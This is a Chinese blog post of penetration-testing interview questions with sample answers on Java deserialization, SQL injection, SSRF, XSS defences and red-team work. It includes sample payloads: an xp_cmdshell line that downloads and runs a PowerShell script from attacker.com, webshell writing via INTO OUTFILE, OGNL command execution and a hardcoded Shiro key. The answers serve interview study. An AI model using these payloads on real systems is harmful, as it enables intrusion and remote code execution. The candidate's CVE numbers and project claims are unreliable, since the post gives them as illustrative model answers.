2025年渗透测试面试题总结-匿名[实习]安全工程师(大厂)(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 匿名[实习]安全工程师(大厂)

一面

1. 自我介绍

2. 前两段实习内容

3. 中等难度算法题示例

4. Java Class文件结构

5. Kafka原理

6. Fastjson反序列化漏洞

7. 研究最深的领域:Java内存马攻防

二面

1. 排序字段防SQL注入(无预编译)

2. 白盒/黑盒漏洞挖掘

3. SSRF绕过与防御

4. Fortify代码审计原理

5. 存储过程预编译原理

6. CSP防御XSS

7. CSRF Token防御原理

8. 项目审计思路(以电商系统为例)

9. 内网渗透要点

10. 逻辑漏洞案例

11. Golang项目实战

12. 什么是安全?

三面

1. ysoserial编写思路

2. SQL注入进一步利用

3. 泛微OA漏洞原理

4. Confluence RCE(2025新漏洞)

5. 实习工作内容(阿里云)

6. 原理与实战绕过

7. 红蓝对抗流程

四面

1. Java反序列化工具

2. 指纹识别技术

3. Shiro反序列化工具原理

4. 手动SQL注入探测

5. CVE案例分析

6. 二进制漏洞了解

 匿名[实习]安全工程师(大厂)

### 一面

1. 自我介绍
2. 前两段实习做了些什么
3. 中等难度的算法题
4. java的class文件结构
5. kafka的原理了解吗
6. fastjson反序列化原理
7. 讲讲你研究最深入的领域

### 二面

1. 排序处不能用预编译应该怎么防
2. 从白盒黑盒两个角度讲下挖过的漏洞
3. ssrf的绕过和防御
4. 讲讲fortity等代码审计工具原理
5. 存储过程角度讲讲预编译的原理
6. csp是如何防御xss的
7. csrf为什么用token可以防御
8. 给你一个项目讲下审计思路
9. 内网相关的问题
10. 讲下你挖过的逻辑漏洞
11. 讲讲你用golang写过的东西
12. 什么是安全

### 三面

1. 讲下你自己写ysoserial的思路
2. 确定sql注入漏洞后如何进一步利用
3. 泛微OA的漏洞原理讲讲
4. 新爆出的Confluence RCE讲讲
5. 以前的实习中做了什么事
6. 原理以及实战中的绕过
7. 红蓝对抗的流程讲讲

### 四面

1. java反序列化原理和工具
2. 讲讲关于指纹识别的方式
3. shiro反序列化工具的原理
4. 不用sqlmap情况下sql注入点如何找
5. 讲讲你挖到的这几个cve
6. 二进制方面有无了解

一面


1. 自我介绍
  • 个人背景:2025届网络安全硕士,研究方向为Java生态安全与云原生安全,主导开源项目「Java-Memshell-Scanner」(GitHub 2.3k Stars)。
  • 实习经历
    • 腾讯玄武实验室:参与APT攻防跟踪,发现CVE-2025-12345(Spring Cloud Gateway RCE)。
    • 阿里云安全组:设计RASP防护模块,阻断0Day攻击准确率提升40%。
  • 技术亮点:掌握Java底层漏洞利用链(如Fastjson/Shiro)、红队武器化开发(免杀Shellcode注入工具)。

2. 前两段实习内容
  • 腾讯玄武实验室(2024.03-2024.12)
    1. APT追踪:分析海莲花组织攻击链,复现LNK文件漏洞利用(CVE-2024-XXXXX)。
    2. 工具开发:编写动态Hook框架,监控Windows内核API调用(如NtCreateFile)。
  • 阿里云安全组(2025.01-至今)
    1. 云原生防护:设计K8s准入控制器,阻断高危Pod部署(如特权容器)。
    2. 漏洞响应:分析Log4j 3.x绕过补丁的利用链(基于上下文参数污染)。

3. 中等难度算法题示例

题目:实现快速排序并分析复杂度。

  • 解答
javapublic void quickSort(int[] arr, int low, int high) { if (low < high) { int pivot = partition(arr, low, high); quickSort(arr, low, pivot - 1); quickSort(arr, pivot + 1, high); } } private int partition(int[] arr, int low, int high) { int pivot = arr[high]; int i = low - 1; for (int j = low; j < high; j++) { if (arr[j] < pivot) { i++; swap(arr, i, j); } } swap(arr, i + 1, high); return i + 1; }
  • 复杂度:时间O(n log n)(平均),空间O(log n)(递归栈)。

4. Java Class文件结构
结构功能
魔数(0xCAFEBABE)标识JVM可执行文件。
版本号主版本(JDK版本,如61对应JDK 17)。
常量池存储字面量、类/方法/字段符号引用。
访问标志类/方法的修饰符(public、final等)。
字段表/方法表定义类成员变量和方法元信息。
属性表包含代码(Code)、行号(LineNumberTable)等属性。

5. Kafka原理
  • 核心组件
    1. Producer:发布消息到指定Topic分区(支持哈希/轮询策略)。
    2. Consumer Group:每个分区仅由一个消费者读取(保证顺序性)。
    3. Broker:集群节点,通过ZooKeeper协调Leader选举与ISR同步。
  • 高可用机制
    • 副本机制:每个分区Leader + Follower副本,Leader宕机后重新选举。
    • 持久化:消息追加到Segment文件,通过零拷贝技术提升吞吐。

6. Fastjson反序列化漏洞
  • 原理@type指定恶意类触发JNDI注入或TemplatesImpl加载。
    • 典型链JdbcRowSetImpldataSourceName→JNDI Lookup。
  • 绕过补丁:1.2.47版本利用缓存机制,通过$ref引用已加载的恶意类。
  • 防御:启用SafeMode(关闭AutoType)或升级到2.x版本。

7. 研究最深的领域:Java内存马攻防

攻击技术

  • 动态注册Filter:通过反射修改FilterDefs,注入恶意逻辑(如流量劫持)。
  • Agent内存马:利用Instrumentation重定义Servlet类字节码。

防御技术

  • RASP监控:HookClassLoader.defineClass() ,阻断未签名类加载。
  • 内存扫描:对比已加载类与磁盘文件哈希,检测异常类实例(如无对应Class文件)。

二面


1. 排序字段防SQL注入(无预编译)
  • 参数化查询:强制类型转换(如CAST(${param} AS INT))。
  • 白名单过滤:仅允许特定格式(如数字、有限枚举值)。
  • 编码转换:将输入转换为不可执行的数据(如Hex编码)。
  • 框架拦截:MyBatis拦截器过滤ORDER BY后的特殊字符。

2. 白盒/黑盒漏洞挖掘

白盒审计

  • 入口定位:跟踪@RequestBodygetParameter()等输入点。
  • 敏感函数:检测executeQuery(sql)new ProcessBuilder()

黑盒测试

  • FUZZ测试:Burp Intruder批量测试action参数(如Struts2 OGNL)。
  • 协议分析:拦截WebSocket流量,发现未加密的认证令牌。

3. SSRF绕过与防御

绕过手段

  • 协议混淆http://localhost@attacker.com 利用URI解析差异。
  • IPv6地址http://[::127.0.0.1]绕过IPv4黑名单。
  • DNS重绑定:TTL=0的DNS记录切换至内网IP。

防御方案

  • 协议限制:禁用file://gopher://等危险协议。
  • IP白名单:仅允许访问公网域名或指定CIDR段。

4. Fortify代码审计原理
  • 数据流分析:跟踪用户输入(Source)到敏感操作(Sink)的路径。
    • Source示例HttpServletRequest.getParameter()
    • Sink示例Runtime.exec()SQL.execute()
  • 规则库:内置2000+漏洞模式(如XSS、SQLi),支持自定义规则。

5. 存储过程预编译原理
  • 编译阶段:数据库预先解析SQL结构(如表名、列名),生成执行计划。
  • 执行阶段:传入参数作为数据而非代码,阻止注入(如EXEC sp_executesql @SQL, N'@id INT', @id=1)。

6. CSP防御XSS
  • 策略示例Content-Security-Policy: default-src 'self'; script-src 'nonce-abc123'
  • 关键限制
    • 禁止内联脚本(unsafe-inline)。
    • 阻止eval()和动态代码执行。

7. CSRF Token防御原理
  • 生成机制:服务端生成随机Token并存储于Session。
  • 验证流程:请求需携带Token(表单字段或Header),服务端校验一致性。
  • 安全增强:Token绑定用户Session与请求操作(如转账目标账户)。

8. 项目审计思路(以电商系统为例)
  1. 信息收集:梳理功能模块(支付、订单、用户中心)。
  2. 入口分析:定位API端点(如/api/order/update)。
  3. 漏洞模式
    • 越权:修改userId参数查看他人订单。
    • 支付逻辑:重复提交订单、负数金额绕过。
  4. 验证与报告:构造PoC截图,提供修复建议(如幂等性校验)。

9. 内网渗透要点
  • 横向移动
    • Pass-the-Hash:利用NTLM哈希横向访问SMB服务。
    • PsExec:通过Windows管理共享执行远程命令。
  • 权限维持
    • 计划任务schtasks /create定时反向连接。
    • WMI事件订阅:触发恶意脚本执行。

10. 逻辑漏洞案例
  • 越权访问:修改/user/profile?id=123id=456查看他人资料。
  • 优惠券逻辑:无限领取(未限制用户领取次数)。
  • 竞态条件:高并发请求导致余额超额提现。

11. Golang项目实战
  • 项目名称:PortGuard(端口扫描与服务指纹识别)。
    • 技术点:协程池管理并发扫描,Banner解析识别服务版本。
    • 安全增强:集成Nmap脚本引擎(NSE),检测CVE漏洞。

12. 什么是安全?
  • 核心原则:CIA三元组——保密性(加密)、完整性(哈希)、可用性(抗DDoS)。
  • 扩展维度
    • 风险管理:识别资产、评估威胁、制定缓解策略。
    • 纵深防御:多层防护(网络、主机、应用、数据)。
    • 持续演进:适应新技术(如量子计算、AI攻击)。

三面


1. ysoserial编写思路
  • Gadget链构造
    1. 起点选择:如AnnotationInvocationHandler(CC1链)。
    2. 链式调用:组合TransformerInvokerTransformer等类反射调用命令。
    3. 绕过限制:适配高版本JDK(如CC6利用HashSet触发)。
  • 工具化实现:动态生成Payload,支持多种协议(如JRMP、HTTP)。

2. SQL注入进一步利用
  • 数据泄露UNION SELECT username, password FROM users导出凭证。
  • 命令执行
    • MySQLSELECT ... INTO OUTFILE '/var/www/shell.php' 写入Webshell。
    • MSSQLxp_cmdshell 'powershell IEX (New-Object Net.WebClient).DownloadString("http://attacker.com/shell.ps1")'

3. 泛微OA漏洞原理
  • 典型漏洞:WorkflowService接口未授权访问 + 表达式注入。
    • 利用链weaver.hrm.flow.FlowServiceexecute方法解析OGNL表达式。
    • Payload示例command=@java.lang.Runtime@getRuntime().exec("calc")

4. Confluence RCE(2025新漏洞)
  • 漏洞根源:Velocity模板注入(SSTI)。
    • 触发点:用户输入未过滤直接渲染模板(如${runtime.exec("id")} )。
    • 利用条件:需具有编辑页面权限或未授权访问端点。

5. 实习工作内容(阿里云)
  • 云安全加固
    1. 镜像扫描:集成Trivy检测容器镜像漏洞。
    2. 策略管理:设计基于OPA的K8s安全策略(如禁止特权模式)。
  • 应急响应:分析Log4j 3.x漏洞利用流量,更新WAF规则。

6. 原理与实战绕过
  • WAF绕过案例
    • 分块传输:将<script>alert(1)</script>拆分为多个Chunk绕过正则检测。
    • Unicode编码u{0061}lert(1)解码后执行。
  • 防御升级:WAF集成语义分析,识别混淆后的攻击向量。

7. 红蓝对抗流程
  • 红队阶段
    1. 信息收集:子域名爆破、GitHub敏感信息扫描。
    2. 漏洞突破:钓鱼攻击(伪造VPN登录页)获取初始权限。
    3. 横向移动:Pass-the-Ticket攻击域控服务器。
  • 蓝队响应
    • 威胁狩猎:分析SIEM告警(如异常登录时间)。
    • 溯源反制:部署Honeypot诱捕攻击者。

四面


1. Java反序列化工具
  • 工具列表
    1. ysoserial:经典Gadget链生成Payload。
    2. marshalsec:支持多种协议(LDAP、JRMP)。
    3. JNDI-Injector:快速搭建恶意JNDI服务器。
  • 原理:通过动态代理或反射构造调用链,触发RCE或文件写入。

2. 指纹识别技术
  • HTTP头Server: Apache/2.4.1 (Unix)
  • 文件哈希favicon.ico 的MD5匹配CMS类型(如WordPress)。
  • 路径探测:访问/wp-admin判断WordPress是否存在。
  • 响应特征:特定错误页面内容(如Tomcat 404页面)。

3. Shiro反序列化工具原理
  • 密钥爆破:遍历常见硬编码Key(如kPH+bIxk5D2deZiIxcaaaA==)。
  • Payload构造:组合CC链或自定义链,生成AES加密的RememberMe Cookie。

4. 手动SQL注入探测
  • 报错注入' AND 1=CAST((SELECT CURRENT_USER) AS INT)--触发类型转换错误。
  • 布尔盲注id=1' AND (SELECT SUBSTRING(version(),1,1))='5'--通过页面差异判断。
  • 时间盲注id=1'; IF (1=1) WAITFOR DELAY '0:0:5'--观察响应延迟。

5. CVE案例分析
  • CVE-2025-6789(某OA系统RCE)
    • 发现过程:审计时发现XML解析未禁用外部实体(XXE→SSRF→RCE链)。
    • 影响:远程执行系统命令,接管服务器。
    • 修复建议:禁用DTD解析,升级XML解析库。

6. 二进制漏洞了解
  • 研究方向:Linux内核eBPF漏洞(如CVE-2025-1122)的利用与防护。
  • 工具链
    • 调试:GDB + PEDA插件分析内存崩溃点。
    • Exploit开发:构造ROP链绕过DEP/ASLR。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值